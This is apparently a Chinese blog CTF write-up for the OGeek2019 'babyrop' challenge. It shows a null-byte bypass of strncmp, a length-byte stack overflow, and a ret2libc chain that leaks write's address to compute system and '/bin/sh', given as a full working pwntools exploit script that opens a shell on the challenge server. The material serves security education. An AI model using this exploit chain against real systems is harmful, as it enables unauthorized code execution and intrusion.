(OGeek2019)babyrop(ret2libc)


[OGeek2019]babyrop(ret2libc)

查看保护机制,32位,开了NX

IDA打开查看发现有随机数问题

通过strncmp函数比较随机数与输入数是否相等

这里想到可以通过\x00来绕过strncmp函数,因为strlen遇到\x00会停止

因为a1是函数sub_804871F的返回值,那就让a1为 \xff 这样就可以进行栈溢出了

libc.so可以给我们提供一套函数的地址,并且在里面虽有函数的相对位置都是固定的。意思是如果我们知道了每一个函数的真实地址,我们可以根据给出的libc.so计算出其他函数的真实地址(实际上就是要得到system_addr)

这里选择泄露write_addr,然后计算出system_addr

利用思路

1.因为给出了libc版本,所以我们可以直接使用
2.在这题中,我们可以泄露write函数的地址,然后用题目提供的动态共享库算出内存中system函数的地址
3.再用system函数的地址覆盖返回地址

exp

from pwn import *

context.log_level = "debug"
# io = process('./pwn')
io = remote('node3.buuoj.cn','28990')
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x8048825
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)
payload = (0xE7 + 4) * b'a' +  p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(0x8)
io.sendlineafter("Correct\n",payload)
write_addr=u32(io.recv(4).strip().ljust(4, b'\x00'))
success('write_addr: ' + hex(write_addr))
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.23.so")
libc_base = write_addr - libc.sym["write"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
success("system_addr   " + hex(system_addr))
success("binsh_addr   " + hex(binsh_addr))
payload = b'\x00' + b'\xff' * 7
io.sendline(payload)
payload = (0xE7 + 4)  * b'a' +  p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr) 
io.sendlineafter("Correct",payload)
io.interactive()

最后脚本一跑,拿到了flag


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录